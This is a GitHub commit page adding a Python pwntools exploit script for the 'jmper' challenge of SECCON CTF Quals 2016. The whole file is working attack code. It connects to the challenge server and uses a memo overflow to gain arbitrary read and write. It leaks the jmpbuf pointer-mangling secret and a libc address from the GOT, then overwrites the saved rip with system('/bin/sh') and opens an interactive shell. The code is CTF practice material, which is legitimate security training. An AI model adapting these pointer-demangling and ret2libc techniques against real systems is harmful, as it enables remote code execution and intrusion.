Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add exploit script for jmper challenge
- Loading branch information
Showing
1 changed file
with
170 additions
and
0 deletions.
There are no files selected for viewing
170 changes: 170 additions & 0 deletions
170
seccon-ctf-quals-2016/exploit/jmper-300/jmper_exploit.py
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,170 @@ | ||
#!/usr/bin/env python2 | ||
|
||
# system exploit for the jmper binary of Seccon Quals 2016 | ||
# written by mightymo | ||
# based on pwntools: | ||
# docu: https://docs.pwntools.com/en/stable/ | ||
# repo: https://github.com/Gallopsled/pwntools | ||
# install: pip install --upgrade pwntools | ||
|
||
from pwn import * | ||
import re | ||
import sys | ||
import fcntl | ||
import os | ||
from hexdump import hexdump | ||
|
||
STUDS = 0 | ||
|
||
# Set context for asm | ||
context.clear() | ||
context(os='linux', arch='amd64', log_level='INFO', bits=64) | ||
|
||
e = ELF('./jmper') | ||
libc = ELF('./libc-2.19.so') | ||
|
||
# Set host and port | ||
H,P='jmper.pwn.seccon.jp',5656 | ||
|
||
#p = process("./jmper") | ||
p = remote(H,P) | ||
#print "PID: {}".format(util.proc.pidof(p)) | ||
#pause() | ||
|
||
# rol and rol lambda functions for jmpbuf en-/decryption | ||
rol = lambda val, r_bits, max_bits: \ | ||
(val << r_bits%max_bits) & (2**max_bits-1) | \ | ||
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) | ||
|
||
ror = lambda val, r_bits, max_bits: \ | ||
((val & (2**max_bits-1)) >> r_bits%max_bits) | \ | ||
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) | ||
|
||
def read_menu(sock): | ||
return sock.recvuntil('Bye :)') | ||
|
||
def create_stud(sock): | ||
global STUDS | ||
sock.sendline('1') | ||
read_menu(sock) | ||
ret = STUDS | ||
STUDS += 1 | ||
return ret | ||
|
||
def write_name(sock, stud_id, name): | ||
sock.sendline('2') | ||
sock.recvuntil("ID:") | ||
sock.sendline("{}".format(stud_id)) | ||
sock.recvuntil("name:") | ||
sock.sendline(name) | ||
read_menu(sock) | ||
|
||
def write_memo(sock, stud_id, memo): | ||
sock.sendline('3') | ||
sock.recvuntil("ID:") | ||
sock.sendline("{}".format(stud_id)) | ||
sock.recvuntil("memo:") | ||
sock.sendline(memo) | ||
read_menu(sock) | ||
|
||
def show_name(sock, stud_id): | ||
sock.sendline('4') | ||
sock.recvuntil("ID:") | ||
sock.sendline("{}".format(stud_id)) | ||
ret = sock.recvline() | ||
read_menu(sock) | ||
return ret | ||
|
||
def show_memo(sock, stud_id): | ||
sock.sendline('5') | ||
sock.recvuntil("ID:") | ||
sock.sendline("{}".format(stud_id)) | ||
ret = sock.recvline() | ||
read_menu(sock) | ||
return ret | ||
|
||
def longjump(sock): | ||
while create_stud(sock) != 0x1d: | ||
pass | ||
sock.sendline('1') | ||
|
||
offset_my_class = 0x010 | ||
offset_jmpbuf = 0x110 | ||
offset_stud1 = 0x1e0 | ||
offset_stud2 = 0x250 | ||
offset_stud3 = 0x2c0 | ||
offset_stud4 = 0x330 | ||
offset_stud5 = 0x3a0 | ||
offset_name1 = 0x220 | ||
offset_name2 = 0x290 | ||
offset_name3 = 0x300 | ||
offset_name4 = 0x370 | ||
offset_name5 = 0x3e0 | ||
|
||
|
||
# gadegts | ||
pop_ret = 0x0000000000400661 # ret | ||
|
||
read_menu(p) | ||
stud_1 = create_stud(p) | ||
log.info("Created stud {}".format(stud_1)) | ||
stud_2 = create_stud(p) | ||
log.info("Created stud {}".format(stud_2)) | ||
stud_3 = create_stud(p) | ||
log.info("Created stud {}".format(stud_3)) | ||
stud_4 = create_stud(p) | ||
log.info("Created stud {}".format(stud_4)) | ||
stud_5 = create_stud(p) | ||
log.info("Created stud {}".format(stud_5)) | ||
write_name(p, stud_1, "alice") | ||
write_name(p, stud_2, "bob") | ||
write_name(p, stud_3, "carol") | ||
write_memo(p, stud_2, "A"*0x20+"\xe8") # stud2 points to stud_3->name | ||
write_name(p, stud_2, "A") | ||
dump = show_name(p, stud_2) | ||
jmpbuf_lsw = ((ord(dump[1]) & 0xf0) << 8) | 0x110 | ||
log.info("Found jumpbuf offset: {0:x}".format(jmpbuf_lsw)) | ||
|
||
|
||
log.info("Get secret xor word") | ||
rip_addr = jmpbuf_lsw+0x38 | ||
write_name(p, stud_2, p16(rip_addr)) | ||
dump = show_name(p, stud_3) | ||
rip_stored = unpack(dump[:8]) | ||
log.info("Found stored rip: {0:x}".format(rip_stored)) | ||
rip = ror(rip_stored, 0x11, 64) | ||
secret_xor = rip ^ 0x400c31 | ||
log.info("Found secret xor: {0:x}".format(secret_xor)) | ||
|
||
|
||
log.info("Overwrite stored rbx with /bin/sh'") | ||
rip_addr = jmpbuf_lsw | ||
write_name(p, stud_2, p16(rip_addr)) | ||
write_name(p, stud_3, '/bin/sh') | ||
# | ||
# get libc info | ||
log.info("Overwrite stored rip with system@libc") | ||
getchar_addr = e.got['getchar'] | ||
write_name(p, stud_2, p64(getchar_addr)) | ||
dump = show_name(p, stud_3) | ||
end = dump.index('1') | ||
getchar_dump = dump[:end] | ||
getchar_addr = u64(getchar_dump + "\x00\x00") | ||
log.info("Found getchar @ {0:x}".format(getchar_addr)) | ||
|
||
libc_base = getchar_addr - libc.symbols["getchar"] | ||
log.info("Found libc_base @ {0:x}".format(libc_base)) | ||
libc_system = libc_base + libc.symbols["system"] | ||
log.info("Found system @ {0:x}".format(libc_system)) | ||
|
||
new_rip = libc_system ^ secret_xor | ||
new_rip = rol(new_rip, 0x11, 64) | ||
log.info("New rip: {0:x}".format(new_rip)) | ||
write_memo(p, stud_4, "A"*0x20+"\xc8") | ||
write_name(p, stud_4, p16(jmpbuf_lsw+0x38)) # stud5 points to rip in jmpbuf | ||
write_name(p, stud_5, p64(new_rip)) | ||
|
||
|
||
|
||
longjump(p) | ||
p.interactive() |